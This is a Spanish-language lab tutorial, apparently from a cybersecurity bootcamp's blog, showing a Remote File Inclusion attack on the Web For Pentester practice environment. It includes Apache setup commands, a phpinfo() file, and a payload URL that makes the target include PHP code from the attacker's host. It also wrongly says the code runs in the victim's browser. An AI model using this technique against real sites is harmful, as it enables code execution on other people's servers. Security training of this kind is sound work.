El siguiente tutorial sobre cómo hacer un ataque de Remote File Inclusion en Web For Pentester está hecho con fines educativos. El propósito de la técnica que veremos a continuación es aprender a identificar fallos de seguridad en aplicaciones web. Practicar hacking en sitios web ajenos, sin autorización, es ilegal. Por eso, te enseñaremos cómo realizar el siguiente ejercicio en un entorno de práctica de hacking web seguro y legal.
Algo de contexto
Remote File Inclusion es una vulnerabilidad web que le permite a los atacantes ejecutar código PHP en el navegador de las víctimas por medio de aplicaciones web con fallos. Las vulnerabilidades de este tipo se pueden reconocer directamente en la direcciones URL de los sitios cuando presentan parámetros como el siguiente:
page=intro.php
Este parámetro, en una dirección URL, da un indicio de que la aplicación está ejecutando código PHP por medio de un input del lado del cliente. Ahora, para entender mejor esta vulnerabilidad, veremos un ejemplo de Remote File Inclusion en Web For Pentester.
¿Qué es Web For Pentester?
Web For Pentester es un entorno web vulnerable desarrollado a propósito de este modo por la empresa PentesterLab. Esta aplicación sirve para practicar técnicas de hacking web relacionadas con diferentes tipos de vulnerabilidades de manera totalmente legal y segura. Para aprender a instalar e iniciar Web For Pentester, visita nuestro tutorial sobre cómo hacerlo.
Remote File Inclusion en Web For Pentester
Preparación del entorno virtual
Antes de comenzar este ejercicio, es necesario preparar nuestro entorno de práctica legal de hacking web. Para ello, sigue los siguientes pasos:
- Crea o abre una máquina virtual con la versión más reciente de Kali Linux.
- Instala la máquina virtual de Web For Pentester.
- Averigua la dirección IP de ambas máquinas virtuales, utilizando el comando «ifconfig» en sus terminales.
Supondremos que las IP de las máquinas son:
- IP de la máquina con Kali Linux: 192.168.175.128
- IP de la máquina de Web For Pentester: 192.168.175.129
Ataque de Remote File Inclusion
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaYa hemos preparado entorno web de práctica. Ahora, veremos cómo funciona un ataque de Remote File Inclusion en Web For Pentester.
- Abre un navegador en la máquina de Kali Linux e ingresa a la dirección IP de la máquina de Web For Pentester.
- Dirígete a la sección que dice «File Include» y elige la opción «Example 1«. Haz clic en el enlace, que te llevará a la siguiente página:
- Notarás que, en la URL, se encuentra el parámetro «page=intro.php«. Como habíamos dicho antes, nos indica que se está ejecutando código PHP por medio de un input del lado del cliente. Para probar que la vulnerabilidad existe, intentaremos ingresar a cualquier página web desde ese parámetro:
page=http://www.google.com
Ya hemos comprobado que la vulnerabilidad de Remote File Inclusion en Web For Pentester está presente. Ahora, pasaremos a ver el proceso de explotación de este fallo.
Explotación
En una terminal de Kali, inicia el servidor de Apache2 con el siguiente comando:
service apache2 start
Ahora, pon el sevidor a la escucha con este comando:
tail -f /var/log/apache2/access.log
Después, abre otra terminal y crea el archivo de texto «test» en el directorio «/var/www/html» con el siguiente comando:
nano /var/www/html/test
Se abrirá el editor de texto del archivo y, allí, escribe el siguiente código PHP:
<?php phpinfo(); ?>
Luego, regresa a la página vulnerable de Web For Pentester y ejecuta el siguiente payload:
http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test
Este le indica al navegador de la víctima que se conecte a un servidor del atacante y ejecute el fichero «test», que contiene un código PHP.
Como resultado, verás que el navegador ha interpretado el código PHP que programaste en el paso anterior.
Ya has aprendido cómo hacer un ataque de Remote File Inclusion en Web For Pentester. Si quieres aprender más técnicas y ejercicios de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo especializarte en tan solo 7 meses. ¡No sigas esperando! ¡Impulsa tu vida profesional ahora!